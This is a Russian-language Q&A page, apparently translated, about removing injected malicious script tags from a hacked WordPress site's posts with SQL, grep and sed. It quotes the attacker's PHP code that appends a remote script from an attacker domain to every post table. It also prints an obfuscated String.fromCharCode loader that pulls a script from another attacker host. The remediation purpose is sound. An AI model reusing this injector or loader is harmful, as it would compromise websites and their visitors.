Как массово удалить определенную часть всех постов WordPress

Вопрос или проблема

Сайт был взломан, и все посты были заражены строкой кода js под содержимым!

<script src="https://js.xxxxxxx.ga/stat.js?n=ns1" type="text/javascript"></script>

Я нашел вредоносный файл в корневом каталоге, который инъектирует код JS с помощью команды:

$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
    $result2 = $conn->query($q2);
    if ($result2->num_rows > 0) {
        while($row2 = $result2->fetch_assoc()) {
            $val = $row2['post_content'];
            if(strpos($val, "js.donatelloflowfirstly.ga") === false){
                if(strpos($val, "js.donatelloflowfirstly.ga") === false){

                    $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
                    $conn->query($q3);
                    echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];

                } else {

                }

            } 
        }
    } else {
    }
    }
} else {
}
$conn->close();

Кто-нибудь, пожалуйста, помогите мне с командой MYSQL, чтобы я мог удалить этот код из PHPmyadmin.

Перейдите в PHPmyadmin. Нажмите на базу данных и выполните следующий SQL-запрос:

UPDATE wp_posts SET post_content=(REPLACE (post_content, 'https://js.xxxxxxx.ga/stat.js?n=ns1',''));  

Вышеуказанное содержит источник js скрипта. Мы просто удаляем это.

Это происходит по многим причинам. И вам нужно выяснить точный источник инфекции. Это чаще всего происходит в пиратских/нульнах темах. Ну, следуйте шагам ниже, чтобы успешно избавиться от этого.

Настройка:

  1. Используйте VS Code или что-то подобное, что поддерживает опцию “поиск по файлам”. (не Notepad++)
  2. Скачайте свежий WordPress (версия, которую вы используете)

Решение:

  1. Скачайте полную резервную копию вашего проекта с сервера и поместите ее в какую-нибудь папку (например, project-dev).
  2. Откройте эту папку с помощью VS Code.
  3. Нажмите на Правка > Поиск в файлах
  4. Ищите “base64”. Убедитесь, что ничего не закодировано. Если вы что-то найдете, попытайтесь декодировать это. Существует множество онлайн-декодеров base64.
  5. Проверьте файл function.php. Проверьте первую строку файла. Она должна начинаться с комментария. Если нет, то проверьте, что написано. Если это что-то вроде
    “class.[некоторый текст]” или “dir/password” или “id/password”, за которым следует какой-то хэш внутри условия, то удалите это до правильной строки комментария. (Большинство тем начинается с комментария)
  6. Убедитесь, что все файлы в теме необходимы. и у вас нет больше таких кодов.
  7. В большинстве случаев это находится в 2-3 местах.
  8. Теперь скопируйте папку “project-dev/your-project/wp-content/themes/theme-name”.
  9. Извлеките свежий WordPress, который вы сначала скачали, в другой каталог.
  10. Вставьте скопированную папку темы в ваш новый WordPress.
  11. Скопируйте все и загрузите обратно на сервер и измените файл wp-config.
  12. Также очистите БД, которую я упоминал ранее.

Если вы застряли, напишите мне на [email protected]

К @Behemoth спасибо за ваш ответ! Я только что отредактировал вашу команду с “поскольку в js коде есть ‘ это сработало!

UPDATE wp_posts SET post_content = REPLACE (post_content, "<script src="https://js.xxxxxxx.ga/stat.js?n=ns1" type="text/javascript"></script>", '');

Я использую платную тему, некоторые платные плагины, но 2 нулевых плагина, это стыдно! Теперь ищу инструменты для проверки кодов! Надеюсь, смогу найти заднюю дверь …

Это мой список команд для linux centos:

1. удалить вредоносные скрипты

find /var/www/ -type f -name "_a" -exec rm -f "{}" +;
find /var/www/ -type f -name "_t" -exec rm -f "{}" +;

Поместите эту команду в cron, чтобы поддерживать сервер в чистоте (удалять вредоносные файлы каждые 15 минут, если они найдены на сервере):

# выполняйте каждые 15 минут
*/15 * * * *  find /var/www/ -type f -name "rms_unique_wp_mu_pl_fl_nm.php" -exec rm -f "{}" +; find /var/www/ -type f -name "rms-script-ini.php" -exec rm -f "{}" +; find /var/www/ -type f -name "rms-script-mu-plugin.php" -exec rm -f "{}" +; find /var/www/ -type f -name "_a" -exec rm -f "{}" +; find /var/www/ -type f -name "_t" -exec rm -f "{}" +;

2. очистить кэш из WP плагина

3. очистить БД

используйте этот SQL-запрос

#проверить затронутые записи
SELECT * FROM wp_posts WHERE post_content LIKE "%donatello%";
SELECT * FROM wp_posts WHERE post_content LIKE "%blackwater%";
SELECT * FROM wp_options WHERE option_value LIKE "%donatello%";
SELECT * FROM wp_options WHERE option_value LIKE "%blackwater%";
SELECT * FROM wp_posts WHERE post_content LIKE "%directednotconverted%";
SELECT * FROM wp_options WHERE option_value LIKE "%directednotconverted%";
SELECT * FROM wp_posts WHERE post_content LIKE "%lowerbeforwarden%";
SELECT * FROM wp_options WHERE option_value LIKE "%lowerbeforwarden%";

#очистить БД
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script type="text/javascript" src="https://js.donatelloflowfirstly.ga/stat.js?w=1"></script", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://js.donatelloflowfirstly.ga/statistics.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src=""https://js.donatelloflowfirstly.ga/statistics.js?n=ns1"" type=""text/javascript""></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://scripts.lowerbeforwarden.ml/src.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src=""https://scripts.lowerbeforwarden.ml/src.js?n=ns1"" type=""text/javascript""></script>", '));

#проверить снова, если все чисто
SELECT * FROM wp_posts WHERE post_content LIKE "%donatello%";
SELECT * FROM wp_posts WHERE post_content LIKE "%blackwater%";
SELECT * FROM wp_options WHERE option_value LIKE "%donatello%";
SELECT * FROM wp_options WHERE option_value LIKE "%blackwater%";
SELECT * FROM wp_posts WHERE post_content LIKE "%directednotconverted%";
SELECT * FROM wp_options WHERE option_value LIKE "%directednotconverted%";
SELECT * FROM wp_posts WHERE post_content LIKE "%lowerbeforwarden%";
SELECT * FROM wp_options WHERE option_value LIKE "%lowerbeforwarden%"

4. проверить и очистить вредоносный код внутри файла

проверить на плоский текст вредоносный код:

cd /var/www
grep -rlF "donatello"
grep -rlF "blackwater"
grep -rlF "lowerbeforwarden"

очистить код, внедренный как плоский текст:

grep -rlF "donatello" | xargs sed -i "s/<script type="text\/javascript" src="https:\/\/js.donatelloflowfirstly.ga\/statistics.js?n=nb5"><\/script>//g"
grep -rlF "lowerbeforwarden" | xargs sed -i "s/<script type="text\/javascript" src="https:\/\/scripts.lowerbeforwarden.ml\/src.js?n=nb5"><\/script>//g"

проверить на закодированный вредоносный код, если вы конвертируете числовую строку

String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)

в utf8, вы увидите:

h,t,t,p,s,:,/,/,s,c,r,i,p,t,s,.,l,o,w,e,r,b,e,f,o,r,w,a,r,d,e,n,.,m,l,/,s,r,c,.,j,s

найден код:

    grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)"

удалить код:

grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)" | xargs sed -i "s/<script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))\[0\]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\].appendChild(elem);})();<\/script>//g"
grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)" | xargs sed -i "s/Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))\[0\]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\].appendChild(elem);})();//g"

Последняя зашифрованная строка относится к варианту “lowerbeforwarden”. Используйте правильную последовательность для “donatello”.

Надеюсь, это поможет.

Ответ или решение

Чтобы массово удалить определённую часть всех записей WordPress, например, строки с вредоносным JavaScript-кодом, необходимо использовать SQL-запросы в phpMyAdmin или в командной строке MySQL. В данном случае мы рассмотрим, как удалить инъектированный код, который отображается в содержимом записей постов.

Подготовка к удалению вредоносного кода

  1. Резервное копирование базы данных. Перед внесением любых изменений в базу данных убедитесь, что у вас есть резервная копия. Это позволит восстановить данные в случае ошибки или непредвиденных последствий.

  2. Доступ к phpMyAdmin. Зайдите в phpMyAdmin через вашу панель управления хостингом. Выберите базу данных вашего WordPress-сайта.

Удаление вредоносного кода

Чтобы удалить вредоносный JavaScript-код из содержимого всех постов, выполните следующий SQL-запрос:

UPDATE wp_posts 
SET post_content = REPLACE(post_content, '<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>', '') 
WHERE post_content LIKE '%<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1"%';

Подробности запроса

  • UPDATE wp_posts — указывает, что мы обновляем таблицу постов.
  • SET post_content = REPLACE(...) — выполняет замену содержимого поля post_content. В данном случае мы заменяем вредоносный JavaScript-код на пустую строку.
  • WHERE post_content LIKE '%<script src="...%' — условие, которое позволяет обновлять только те записи, которые содержат указанный код, тем самым ускоряя выполнение запроса.

Дополнительные шаги

После удаления кода в постах рекомендуется выполнить следующие действия:

  1. Проверка на наличие других вредоносных фрагментов. Используйте следующий запрос, чтобы проверить, остались ли другие вредоносные строки:

    SELECT * FROM wp_posts WHERE post_content LIKE '%<script%';
  2. Анализ плагинов и тем. Вредоносный код может также быть внедрён в файлы плагинов или тем. Проверьте все файлы на наличие подозрительного кода.

  3. Удаление вредоносных файлов. Используйте SSH или FTP для удаления подозрительных файлов и каталогов, делающих ваш сайт уязвимым.

  4. Обновление системы. Убедитесь, что вы используете актуальные версии WordPress, тем и плагинов, чтобы закрыть возможные уязвимости.

  5. Установка плагина безопасности. Рассмотрите возможность установки плагина безопасности, который будет регулярно сканировать ваш сайт на наличие вредоносного кода и уязвимостей.

Заключение

Удаление вредоносного кода из записей WordPress требует внимательности и осторожности. Используйте предоставленные SQL-запросы для быстрого и эффективного удаления, но не забывайте о необходимости резервного копирования и дальнейшей проверки безопасности вашего сайта. Надеемся, что эти рекомендации помогут вам восстановить безопасную работу вашего WordPress-сайта.

Оцените материал
Добавить комментарий

Капча загружается...